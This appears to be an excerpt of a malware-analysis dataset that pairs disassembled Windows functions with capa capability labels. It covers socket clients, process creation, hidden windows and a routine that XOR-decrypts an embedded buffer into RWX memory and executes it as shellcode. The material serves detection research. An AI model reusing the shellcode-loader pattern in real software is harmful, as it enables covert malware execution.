joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401330
Capabilities:
Create process on windows
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [0x41b954]
sub esp, 0x54
push ebx
push esi
mov esi, dword [0x41b94c]
push edi
mov edi, dword [0x41b950]
sub ecx, edi
mov eax, 0x38e38e39
imul ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp esi, eax
jae 0x401496
mov ebx, 0x41a298
jmp 0x401370
lea esi, [esi + esi*8]
shl esi, 5
add esi, edi
mov ecx, 0x48
mov edi, 0x41a3b8
rep movsd dword es:[edi], dword [esi]
xor eax, eax
jmp 0x401390
mov cl, byte [eax + 0x41a3b8]
mov byte [eax + 0x41a298], cl
inc eax
test cl, cl
jne 0x401390
push 0x41a3a4
push 0x41a3a0
push 0x41a39c
mov eax, 0x41a2a0
call fcn.00401f70
mov eax, 0x41a298
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4013c5
sub eax, edx
lea ecx, [ebx + eax - 3]
push 0x416694
push ecx
call fcn.00408765
add esp, 8
test eax, eax
je 0x40140f
mov eax, 0x41a298
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4013f0
sub eax, edx
lea edx, [ebx + eax - 3]
push 0x416698
push edx
call fcn.00408765
add esp, 8
test eax, eax
jne 0x401416
mov byte [0x41a4e0], 1
mov eax, 0x120
xor ecx, ecx
lea ecx, [ecx]
mov edx, dword [ecx + 0x41a3b8]
cmp edx, dword [ecx + 0x41a298]
jne 0x4014f0
sub eax, 4
add ecx, 4
cmp eax, 4
jae 0x401420
push 0x120
push 0
push 0x41a3b8
call fcn.00407440
push 0x120
push 0
push 0x41a298
call fcn.00407440
mov ecx, dword [0x41b954]
mov edi, dword [0x41b950]
mov esi, dword [0x41b94c]
sub ecx, edi
mov eax, 0x38e38e39
imul ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
inc esi
add eax, edx
add esp, 0x18
mov dword [0x41b94c], esi
cmp esi, eax
jb 0x401370
push str.Update_Completed_
call fcn.00402c60
add esp, 4
cmp byte [0x41a4e1], 0
je 0x401576
mov edx, dword [0x41a4dc]
push edx
call dword [sym.imp.USER32.dll_DestroyWindow]
cmp byte [0x41a4e0], 0
je 0x401581
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x54]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x41a4e8
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
jmp 0x401581
cmp byte [0x41a4e1], 0
jne 0x401554
mov ecx, dword [0x41a4dc]
push 5
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
cmp byte [0x41a4e0], 0
je 0x40154d
mov eax, 0x41a4e8
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401520
sub eax, edx
lea eax, [eax + 0x41a4e8]
cmp eax, 0x41a4e8
je 0x401543
cmp byte [eax], 0x5c
je 0x401571
dec eax
cmp eax, 0x41a4e8
jne 0x401536
mov ebx, 0x41a4e8
call fcn.00401040
mov byte [0x41a4e1], 1
push 0x41a2a0
mov edx, 0x41a3b8
call fcn.00402750
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
lea ebx, [eax + 1]
jmp 0x401548
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x41a5f3], 0
je 0x40159c
mov eax, dword [0x41b814]
test eax, eax
je 0x40159c
push eax
call fcn.00409162
add esp, 4
mov edx, dword [0x41a724]
push 0
push 0x1005
push 2
push edx
mov byte [0x41a5f3], 0
call dword [sym.imp.USER32.dll_SendMessageA]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x401f70
Capabilities:
Encode data using xor
Hash data using crc32b
Hash data using sha1
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push ebx
xor ebx, ebx
mov dword [ecx], ebx
mov dword [edx], ebx
push edi
mov edi, dword [ebp + 0x10]
mov dword [0x41a850], ebx
mov dword [0x41a854], ebx
mov dword [edi + 0x10], ebx
mov dword [edi + 0xc], ebx
mov dword [edi + 8], ebx
mov dword [edi + 4], ebx
mov dword [edi], ebx
cmp eax, ebx
je 0x402177
push 0x416684
push eax
call fcn.00408c14
add esp, 8
mov dword [ebp - 4], eax
cmp eax, ebx
jne 0x401fec
cmp dword [0x41ac58], ebx
je 0x402177
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, ebx
jle 0x402177
push eax
call fcn.00408c53
push eax
call dword [0x41ac58]
add esp, 8
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x41a854]
not ecx
mov dword [0x41a854], ecx
mov dword [0x41a850], ebx
push esi
push eax
push 0x400
push 1
push 0x41a858
call fcn.00408f07
mov esi, eax
add esp, 0x10
cmp esi, 0x400
je 0x402042
cmp dword [0x41ac58], ebx
je 0x402042
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, ebx
je 0x402042
push eax
call fcn.00408c53
push eax
call dword [0x41ac58]
add esp, 8
mov dword [0x41a7f4], esi
cmp esi, ebx
je 0x4020c3
mov eax, esi
cdq
and edx, 3
add eax, edx
sar eax, 2
xor ecx, ecx
cmp eax, ebx
jle 0x402090
mov edx, dword [0x41a854]
jmp 0x402070
mov edi, dword [ecx*4 + 0x41a858]
xor edi, edx
xor edi, 0x4c11db7
inc ecx
lea edx, [edi + edi]
cmp ecx, eax
jl 0x402070
mov edi, dword [ebp + 0x10]
mov dword [0x41a854], edx
xor eax, eax
cmp esi, ebx
jle 0x4020b4
mov ecx, dword [0x41a850]
lea esp, [esp]
movsx edx, byte [eax + 0x41a858]
inc eax
add ecx, edx
cmp eax, esi
jl 0x4020a0
mov dword [0x41a850], ecx
mov eax, esi
call fcn.00402f10
mov eax, dword [ebp - 4]
jmp 0x402001
mov eax, dword [ebp - 4]
push eax
call fcn.00409162
mov eax, dword [0x41a854]
mov ecx, dword [ebp + 8]
mov edx, dword [0x41a850]
not eax
mov dword [ecx], eax
mov dword [0x41a854], eax
mov eax, dword [ebp + 0xc]
add esp, 4
mov dword [eax], edx
pop esi
cmp byte [0x4191b5], bl
jne 0x40212c
cmp byte [0x4191b4], bl
jne 0x402101
call fcn.00403690
mov ecx, dword [0x419154]
mov dword [edi], ecx
mov edx, dword [0x419158]
mov dword [edi + 4], edx
mov eax, dword [0x41915c]
mov dword [edi + 8], eax
mov ecx, dword [0x419160]
mov dword [edi + 0xc], ecx
mov edx, dword [0x419164]
mov dword [edi + 0x10], edx
mov dword [0x419168], ebx
mov dword [0x41916c], ebx
mov dword [0x4191b0], ebx
mov dword [0x419154], 0x67452301
mov dword [0x419158], 0xefcdab89
mov dword [0x41915c], 0x98badcfe
mov dword [0x419160], 0x10325476
mov dword [0x419164], 0xc3d2e1f0
mov word [0x4191b4], bx
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402180
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x41801c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [0x41ada4]
push edi
push 0x400
lea eax, [ebp - 0x404]
push 0
push eax
call fcn.00407440
mov eax, esi
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4021b6
sub eax, edx
lea ecx, [eax + esi]
mov eax, esi
cmp eax, ecx
je 0x402200
cmp byte [eax], 0x5c
je 0x4021d4
inc eax
cmp eax, ecx
jne 0x4021c8
jmp 0x402200
sub eax, esi
mov edi, eax
mov eax, 0x400
cmp edi, 0x400
ja 0x4021e7
mov eax, edi
push eax
lea ecx, [ebp - 0x404]
push esi
push ecx
call fcn.00407630
add esp, 0xc
mov byte [ebp + edi - 0x404], 0
lea eax, [ebp - 0x404]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402210
sub eax, edx
je 0x4022c3
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
lea edx, [ebp - 0x404]
push edx
add esi, eax
call ebx
lea eax, [ebp - 0x404]
push eax
push str.Creando_Carpeta___s_
call fcn.00402c60
push 0x400
lea ecx, [ebp - 0x404]
push 0
push ecx
call fcn.00407440
mov eax, esi
add esp, 0x14
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402260
sub eax, edx
lea ecx, [eax + esi]
mov eax, esi
cmp esi, ecx
je 0x4022aa
cmp byte [eax], 0x5c
je 0x40227e
inc eax
cmp eax, ecx
jne 0x402272
jmp 0x4022aa
sub eax, esi
mov edi, eax
mov eax, 0x400
cmp edi, 0x400
ja 0x402291
mov eax, edi
push eax
lea edx, [ebp - 0x404]
push esi
push edx
call fcn.00407630
add esp, 0xc
mov byte [ebp + edi - 0x404], 0
lea eax, [ebp - 0x404]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4022b3
sub eax, edx
jne 0x402226
pop ebx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00403791
mov esp, ebp
pop ebp
ret
Function at 0x402670
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create thread
Create udp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push 0x41adc0
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 0
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_WSASocketA]
mov dword [0x41adbc], eax
cmp eax, 0xffffffff
jne 0x4026b9
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.WSASock_Error__d
push 2
call fcn.00402ae0
add esp, 0xc
xor al, al
pop ebp
ret
push esi
push 0x41a5f4
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ecx, dword [ebp + 8]
mov esi, eax
xor eax, eax
mov dword [0x41adb4], eax
mov dword [0x41adb8], eax
mov eax, 2
push ecx
mov word [0x41adac], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [0x41adae], ax
mov edx, dword [esi + 0xc]
mov eax, dword [edx]
mov edx, dword [0x41adbc]
mov ecx, dword [eax]
push 0x10
push 0x41adac
push edx
mov dword [0x41adb0], ecx
call dword [sym.imp.WS2_32.dll_connect]
pop esi
test eax, eax
je 0x40272e
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.Connect_Fail_with_error__d
push 2
call fcn.00402ae0
add esp, 0xc
xor al, al
pop ebp
ret
push 0
push 0
push 0
push 0x4025b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x41ada8], eax
mov al, 1
pop ebp
ret

Function at 0x402750
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
mov eax, edx
push esi
mov byte [0x41ac60], 0xf0
mov byte [0x41ac64], 0
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402768
push 0x104
sub eax, esi
push edx
add eax, 7
push 0x41ac65
mov word [0x41ac62], ax
call fcn.00409210
mov eax, dword [0x41ada4]
add esp, 0xc
test eax, eax
jne 0x4027a3
push 0x104
call fcn.00403db8
add esp, 4
mov ecx, dword [ebp + 8]
push 0x104
push ecx
push eax
mov dword [0x41ada4], eax
call fcn.00409210
mov eax, dword [0x41ada0]
add esp, 0xc
test eax, eax
jne 0x4027d0
push 0x104
call fcn.00403db8
add esp, 4
mov edx, dword [0x41ada4]
mov ecx, edx
mov dword [0x41ada0], eax
lea esi, [ecx + 1]
mov bl, byte [ecx]
inc ecx
test bl, bl
jne 0x4027e0
sub ecx, esi
add ecx, edx
pop esi
pop ebx
cmp ecx, edx
je 0x402800
cmp byte [ecx], 0x5c
je 0x4027fd
dec ecx
cmp ecx, edx
jne 0x4027f1
jmp 0x402800
lea edx, [ecx + 1]
push edx
push str.__s
push eax
call fcn.00409334
mov edx, dword [0x41ada0]
add edx, 2
push edx
push str.Request_of__s
call fcn.00402c60
movzx eax, word [0x41ac62]
mov ecx, dword [0x41adbc]
add esp, 0x14
push 0
push eax
push 0x41ac60
push ecx
call dword [sym.imp.WS2_32.dll_send]
push 0x10a
push 0
push 0x41ac60
call fcn.00407440
add esp, 0xc
pop ebp
ret
Function at 0x402ae0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x14
div ecx
mov esi, edx
cmp dword [esi*4 + 0x41af58], 0
jne 0x402b17
push 0x800
call fcn.00403db8
add esp, 4
mov dword [esi*4 + 0x41af58], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [esi*4 + 0x41af58]
lea edx, [ebp + 0x10]
push edx
push eax
push ecx
call fcn.0040973c
lea edx, [ebp - 8]
push edx
call fcn.00409667
lea eax, [ebp - 8]
push eax
call fcn.00409640
mov ecx, dword [eax]
mov edx, dword [eax + 4]
mov eax, dword [eax + 8]
push ecx
push edx
push eax
push str._02d:_02d:_02d
push 0x41b960
call fcn.00409334
mov ecx, dword [esi*4 + 0x41af58]
push ecx
push 0x41b960
push str.__s___s_r_n
push 0x41afa8
call fcn.00409334
mov edx, dword [ebp + 8]
push edx
call fcn.00402a40
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
add esp, 0x3c
cmp byte [0x41a5f3], 0
je 0x402bdb
mov eax, 0x41afa8
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402b97
sub eax, edx
mov esi, eax
mov eax, dword [0x41b814]
test eax, eax
je 0x402bdb
push eax
push esi
push 1
push 0x41afa8
call fcn.0040907b
add esp, 0x10
cmp eax, esi
je 0x402bdb
cmp dword [0x41ac58], 0
je 0x402bdb
call edi
push eax
call fcn.00408c53
push eax
call dword [0x41ac58]
add esp, 8
cmp dword [0x41af54], 0
jne 0x402c3a
cmp byte [0x41a5f3], 0
je 0x402c3a
mov eax, dword [0x41b814]
test eax, eax
je 0x402bff
push eax
call fcn.00409162
add esp, 4
push 0x4167f4
push 0x41b818
call fcn.00408c14
add esp, 8
test eax, eax
jne 0x402c35
cmp dword [0x41ac58], eax
je 0x402c33
call edi
test eax, eax
jle 0x402c33
push eax
call fcn.00408c53
push eax
call dword [0x41ac58]
add esp, 8
xor eax, eax
mov dword [0x41b814], eax
cmp byte [0x41a4e3], 0
pop edi
pop esi
je 0x402c4a
call fcn.004028e0
call fcn.00402970
mov esp, ebp
pop ebp
ret
Function at 0x402c60
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x14
div ecx
mov esi, edx
cmp dword [esi*4 + 0x41af58], 0
jne 0x402c97
push 0x800
call fcn.00403db8
add esp, 4
mov dword [esi*4 + 0x41af58], eax
mov eax, dword [ebp + 8]
mov ecx, dword [esi*4 + 0x41af58]
lea edx, [ebp + 0xc]
push edx
push eax
push ecx
call fcn.0040973c
lea edx, [ebp - 8]
push edx
call fcn.00409667
lea eax, [ebp - 8]
push eax
call fcn.00409640
mov ecx, dword [eax]
mov edx, dword [eax + 4]
mov eax, dword [eax + 8]
push ecx
push edx
push eax
push str._02d:_02d:_02d
push 0x41b960
call fcn.00409334
mov ecx, dword [esi*4 + 0x41af58]
push ecx
push 0x41b960
push str.__s___s_r_n
push 0x41afa8
call fcn.00409334
push 0
call fcn.00402a40
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
add esp, 0x3c
cmp byte [0x41a5f3], 0
je 0x402d59
mov eax, 0x41afa8
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402d15
sub eax, edx
mov esi, eax
mov eax, dword [0x41b814]
test eax, eax
je 0x402d59
push eax
push esi
push 1
push 0x41afa8
call fcn.0040907b
add esp, 0x10
cmp eax, esi
je 0x402d59
cmp dword [0x41ac58], 0
je 0x402d59
call edi
push eax
call fcn.00408c53
push eax
call dword [0x41ac58]
add esp, 8
cmp dword [0x41af54], 0
jne 0x402db8
cmp byte [0x41a5f3], 0
je 0x402db8
mov eax, dword [0x41b814]
test eax, eax
je 0x402d7d
push eax
call fcn.00409162
add esp, 4
push 0x4167f4
push 0x41b818
call fcn.00408c14
add esp, 8
test eax, eax
jne 0x402db3
cmp dword [0x41ac58], eax
je 0x402db1
call edi
test eax, eax
jle 0x402db1
push eax
call fcn.00408c53
push eax
call dword [0x41ac58]
add esp, 8
xor eax, eax
mov dword [0x41b814], eax
cmp byte [0x41a4e3], 0
pop edi
pop esi
je 0x402dc8
call fcn.004028e0
call fcn.00402970
mov esp, ebp
pop ebp
ret

Function at 0x402e70
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [0x41b814]
test eax, eax
je 0x402e82
push eax
call fcn.00409162
add esp, 4
push 3
push 0
push 0
push 0x41b818
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x4167f4
push 0x41b818
call fcn.00408c14
add esp, 8
test eax, eax
jne 0x402ed1
cmp dword [0x41ac58], eax
je 0x402ecf
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x402ecf
push eax
call fcn.00408c53
push eax
call dword [0x41ac58]
add esp, 8
xor eax, eax
mov dword [0x41b814], eax
ret
Function at 0x403690
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [0x4191b0]
mov byte [eax + 0x419170], 0x80
cmp eax, 0x37
mov eax, dword [0x4191b0]
push ebx
jle 0x4036f8
inc eax
xor bl, bl
mov dword [0x4191b0], eax
cmp eax, 0x40
jge 0x4036ca
mov byte [eax + 0x419170], bl
mov eax, dword [0x4191b0]
inc eax
mov dword [0x4191b0], eax
cmp eax, 0x40
jl 0x4036b4
call fcn.00402f90
mov eax, dword [0x4191b0]
cmp eax, 0x38
jge 0x403726
lea esp, [esp]
mov byte [eax + 0x419170], bl
mov eax, dword [0x4191b0]
inc eax
mov dword [0x4191b0], eax
cmp eax, 0x38
jl 0x4036e0
jmp 0x403726
inc eax
mov dword [0x4191b0], eax
cmp eax, 0x38
jge 0x403726
xor bl, bl
jmp 0x403710
mov byte [eax + 0x419170], bl
mov eax, dword [0x4191b0]
inc eax
mov dword [0x4191b0], eax
cmp eax, 0x38
jl 0x403710
movzx eax, byte [0x41916f]
movzx ecx, byte [0x41916e]
movzx edx, byte [0x41916d]
mov byte [0x4191a8], al
movzx eax, byte [0x41916c]
mov byte [0x4191a9], cl
movzx ecx, byte [0x41916b]
mov byte [0x4191aa], dl
movzx edx, byte [0x41916a]
mov byte [0x4191ab], al
movzx eax, byte [0x419169]
mov byte [0x4191ac], cl
movzx ecx, byte [0x419168]
mov byte [0x4191ad], dl
mov byte [0x4191ae], al
mov byte [0x4191af], cl
pop ebx
jmp fcn.00402f90

Function at 0x403791
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41801c]
jne 0x40379b
repz ret
jmp fcn.00403cb2
Function at 0x407065
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41801c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040547c
and dword [ebp - 0x14], 0
cmp dword [0x41a1a0], 0
mov dword [ebp - 0x18], eax
jne 0x407118
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4071c0
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4071c0
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x41a1a0], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x41a1a4], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x41a1a8], eax
call edi
push eax
call esi
mov dword [0x41a1b0], eax
test eax, eax
je 0x407118
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x41a1ac], eax
mov eax, dword [0x41a1ac]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x407171
cmp dword [0x41a1b0], ecx
je 0x407171
push eax
call esi
push dword [0x41a1b0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x407171
test ebx, ebx
je 0x407171
call edi
test eax, eax
je 0x407168
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x407168
test byte [ebp - 8], 1
jne 0x407171
or dword [ebp + 0x10], 0x200000
jmp 0x4071a4
mov eax, dword [0x41a1a4]
cmp eax, dword [ebp - 0x18]
je 0x4071a4
push eax
call esi
test eax, eax
je 0x4071a4
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4071a4
mov eax, dword [0x41a1a8]
cmp eax, dword [ebp - 0x18]
je 0x4071a4
push eax
call esi
test eax, eax
je 0x4071a4
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x41a1a0]
call esi
test eax, eax
je 0x4071c0
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4071c2
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403791
leave
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x40d060], 1
mov dword [0x40d05c], 1
mov dword [0x40d058], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x40d014], eax
mov eax, dword [0x40d06c]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x40d080]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x40d068]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x409130], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056

Function at 0x401657
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x28
call dbg.__main
mov byte [ebp - 0x19], 0xaa
movzx eax, byte [ebp - 0x19]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xe4
mov dword [esp], 0x409020
call sym._xor_encrypt
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], 0xe4
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x4016f4
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov ebx, eax
mov dword [esp], 2
mov eax, dword [dbg.__acrt_iob_func]
call eax
mov dword [esp + 8], ebx
mov dword [esp + 4], str.Erro_ao_alocar_memria:__lu_n
mov dword [esp], eax
call sym._fprintf
mov eax, 1
jmp 0x40174c
mov eax, dword [ebp - 0x20]
mov ebx, 0x409020
mov edx, 0xe4
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
movzx eax, byte [ebp - 0x19]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xe4
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._xor_decrypt
mov eax, dword [ebp - 0x20]
call eax
mov eax, 0
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret

Function at 0x4019c0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x401a20
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x40d074]
test esi, esi
jle 0x401b40
mov eax, dword [0x40d078]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x401a54
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401ad7
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401a40
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x401b67
mov eax, dword [0x40d078]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x40d078]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401b47
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x401ad0
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x401ae0
add dword [0x40d074], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x40d078]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401ad0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x401a5e
mov eax, dword [0x40d078]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]
nop

Function at 0x402080
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x40d090
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x40d088]
sub esp, 4
test ebx, ebx
je 0x4020d5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x4020ce
test esi, esi
je 0x4020ce
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4020b0
mov dword [esp], 0x40d090
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret